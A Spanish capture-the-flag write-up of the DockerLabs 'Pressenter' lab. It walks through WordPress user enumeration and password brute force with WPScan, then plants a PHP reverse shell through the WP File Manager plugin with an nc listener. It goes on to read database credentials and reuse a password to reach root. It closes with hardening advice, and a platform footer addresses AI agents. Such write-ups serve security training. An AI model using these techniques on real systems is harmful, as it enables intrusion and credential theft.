> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pressenter.md).

# Pressenter

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone una web en Apache y un WordPress asociado al virtual host `pressenter.hl`.

La cadena de explotacion pasa por enumerar el sitio, descubrir usuarios de WordPress, obtener credenciales validas por fuerza bruta, abusar del plugin **WP File Manager** para conseguir una reverse shell y reutilizar credenciales encontradas en MySQL hasta obtener `root`.

***

## Reconocimiento

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -Pn -T4 172.17.0.2
```

![Nmap](/files/wJCbrD0eRsRz2Eq6vJAb)

El escaneo muestra un unico puerto abierto:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

***

## Enumeracion web

Al acceder al servicio HTTP se muestra una pagina principal de **Pressenter CTF**:

```
http://172.17.0.2
```

![Web principal](/files/jikFcZaF7C7Flg0xYgwM)

Desde la propia web se accede a `register.html`, una pagina de registro falsa que no procesa datos.

![Registro](/files/FPd797prXymhPqLVa3N8)

Al revisar el codigo fuente aparece una pista interesante en el footer:

```html
<a href="http://pressenter.hl" target="_blank">pressenter.hl</a>
```

![Dominio en el codigo fuente](/files/POcmwSMfSinCkwHagyC7)

Se añade el dominio al archivo `/etc/hosts` para resolver el virtual host:

```
172.17.0.2 pressenter.hl
```

![Hosts](/files/JU1BevSgXtdemlpzy3jm)

***

## Fuzzing de rutas

Se realiza fuerza bruta de rutas contra el servidor web:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404 -t 60
```

![Gobuster](/files/rV67zSYyVw5kGAM6DRjb)

Recursos encontrados:

| Recurso          | Codigo | Comentario        |
| ---------------- | ------ | ----------------- |
| `/index.html`    | 200    | Pagina principal  |
| `/register.html` | 200    | Registro dummy    |
| `/server-status` | 403    | Recurso protegido |

***

## WordPress en pressenter.hl

Al visitar `http://pressenter.hl` aparece un WordPress.

![WordPress](/files/I2UbDEkuZbkfjOp6fOYA)

Wappalyzer confirma varias tecnologias relevantes:

| Tecnologia    | Deteccion     |
| ------------- | ------------- |
| CMS           | WordPress     |
| Lenguaje      | PHP           |
| Sistema       | Ubuntu        |
| Base de datos | MySQL         |
| Servidor web  | Apache 2.4.58 |

![Wappalyzer](/files/UvJN0mKBkp7IJbMzuZVH)

Se lanza WPScan para enumerar usuarios, plugins y temas:

```bash
wpscan --url http://pressenter.hl/ -e u vp vt
```

![WPScan inicial](/files/RXKdAjLZYhhQwaB08pRc)

WPScan identifica WordPress `6.6.1`, el tema `twentytwentyfour` y usuarios validos.

![Usuarios WPScan](/files/FmbLFQvWS1FI36C620mQ)

Usuarios encontrados:

| Usuario  | Metodo                              |
| -------- | ----------------------------------- |
| `pressi` | Author posts / RSS / author pattern |
| `hacker` | Author ID brute forcing             |

Ademas, el tema permite directory listing:

![Directory listing del tema](/files/KV3hOVBUwNeIcKkmYtG2)

***

## Fuerza bruta de WordPress

Con el usuario `pressi` identificado, se realiza un ataque de password contra XML-RPC usando `rockyou.txt`:

```bash
wpscan --url http://pressenter.hl/ -U pressi -P /usr/share/wordlists/rockyou.txt
```

![Ataque con WPScan](/files/h5WJR1m0cy2vgnAjmcn1)

WPScan encuentra credenciales validas:

| Usuario  | Password  |
| -------- | --------- |
| `pressi` | `dumbass` |

![Credenciales validas](/files/7iHKUgkdwusYrvpdrhyx)

Con estas credenciales se accede al panel de administracion de WordPress:

```
http://pressenter.hl/wp-admin/
```

![Panel WordPress](/files/b0pAMZw8yC4X1PfNWXO0)

***

## Abuso de WP File Manager

Dentro del panel se observa el plugin **Administrador de archivos WP** activo.

![Plugin activo](/files/6xrOrHre4vDgp2Fpcu9s)

El plugin permite navegar por los archivos del WordPress y muestra permisos de lectura y escritura sobre varios ficheros.

![WP File Manager](/files/ESbvNhh8esbpqM8bdYhq)

Se modifica `index.php` para introducir una reverse shell PHP apuntando a la maquina atacante:

```php
$ip = '172.17.0.1';
$port = 4444;
```

![Reverse shell PHP](/files/dlsDcL89ODZPaTglSNGZ)

En paralelo se prepara un listener:

```bash
nc -lvnp 4444
```

![Listener](/files/VqXzCd5i5v73YrMoSf42)

Al visitar la pagina modificada se recibe una shell como `www-data`.

***

## Enumeracion local

Ya dentro del sistema, se prueba `sudo -l`, pero el usuario `www-data` necesita password.

Despues se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![Enumeracion local](/files/mD55dtn9AkJk9rQsn4Tm)

El siguiente paso es revisar la configuracion de WordPress. En `wp-config.php` aparecen credenciales de la base de datos:

```php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'admin' );
define( 'DB_PASSWORD', 'rooteable' );
define( 'DB_HOST', '127.0.0.1' );
```

![wp-config.php](/files/OZQUiWbJXFlSINxayjMY)

Con esas credenciales se accede a MySQL:

```bash
mysql -u admin -p
```

```
Password: rooteable
```

***

## Enumeracion de MySQL

Se listan las bases de datos disponibles:

```sql
SHOW DATABASES;
```

![Bases de datos](/files/GElWOsJuxS6XVfX6l42t)

Se selecciona la base de datos de WordPress y se listan sus tablas:

```sql
USE wordpress;
SHOW TABLES;
```

![Tablas de WordPress](/files/4xYwBRiMwTBptz1cODql)

En `wp_users` aparecen los usuarios de WordPress y sus hashes:

```sql
SELECT * FROM wp_users;
```

![wp\_users](/files/gGOdflNipojEFlV83yMw)

Tambien existe una tabla interesante llamada `wp_usermetas`. Al consultarla aparece una credencial en texto claro:

```sql
SELECT * FROM wp_usermetas;
```

![wp\_usermetas](/files/FwYnHYxlvKtpKWYRchyb)

Credenciales encontradas:

| Usuario | Password          |
| ------- | ----------------- |
| `enter` | `kernellinuxhack` |

***

## Movimiento lateral a enter

Se reutiliza la password encontrada para cambiar al usuario `enter`:

```bash
su enter
```

```
Password: kernellinuxhack
```

![Usuario enter](/files/vF5FIGnisulrF5YyyqjH)

Como `enter`, se revisan los privilegios sudo:

```bash
sudo -l
```

![Sudo enter](/files/4GhVXSbm0x4Iko5tXAQW)

El usuario puede ejecutar sin password:

```
/usr/bin/cat
/usr/bin/whoami
```

Se intenta leer la flag de root con `cat`:

```bash
sudo /usr/bin/cat /root/root.txt
```

![Root txt falso](/files/HmYoabFIpSTfac9QQwwo)

El archivo devuelve una pista:

```
It's not going to be that easy, keep trying hehe.
```

***

## Escalada a root

Como ya se habia encontrado la password `kernellinuxhack`, se prueba reutilizacion de credenciales contra `root`:

```bash
su root
```

```
Password: kernellinuxhack
```

La reutilizacion funciona y se obtiene una shell como `root`:

![Root](/files/EelkYbEzrGEgVsBKhFgU)

```bash
whoami
```

```
root
```

***

## Conclusion

Pressenter es una maquina directa, pero con una cadena bastante completa: virtual host, WordPress, fuerza bruta de credenciales, abuso de plugin con permisos peligrosos, lectura de configuracion sensible y reutilizacion de passwords.

### Puntos clave

* El dominio `pressenter.hl` estaba expuesto en el HTML de `register.html`.
* WPScan permitio identificar usuarios validos de WordPress.
* La password `dumbass` dio acceso al panel como `pressi`.
* WP File Manager permitio modificar archivos del sitio y conseguir RCE.
* `wp-config.php` contenia credenciales de MySQL.
* La tabla `wp_usermetas` guardaba una password en texto claro.
* La password `kernellinuxhack` se reutilizo para `enter` y `root`.

### Recomendaciones

* Evitar exponer dominios internos o pistas sensibles en el codigo fuente.
* Deshabilitar XML-RPC si no es necesario.
* Usar passwords robustas y bloquear ataques de fuerza bruta.
* Limitar plugins con capacidad de escritura sobre el sistema de archivos.
* No guardar credenciales en texto claro dentro de tablas auxiliares.
* Evitar reutilizar passwords entre usuarios del sistema.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/pressenter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
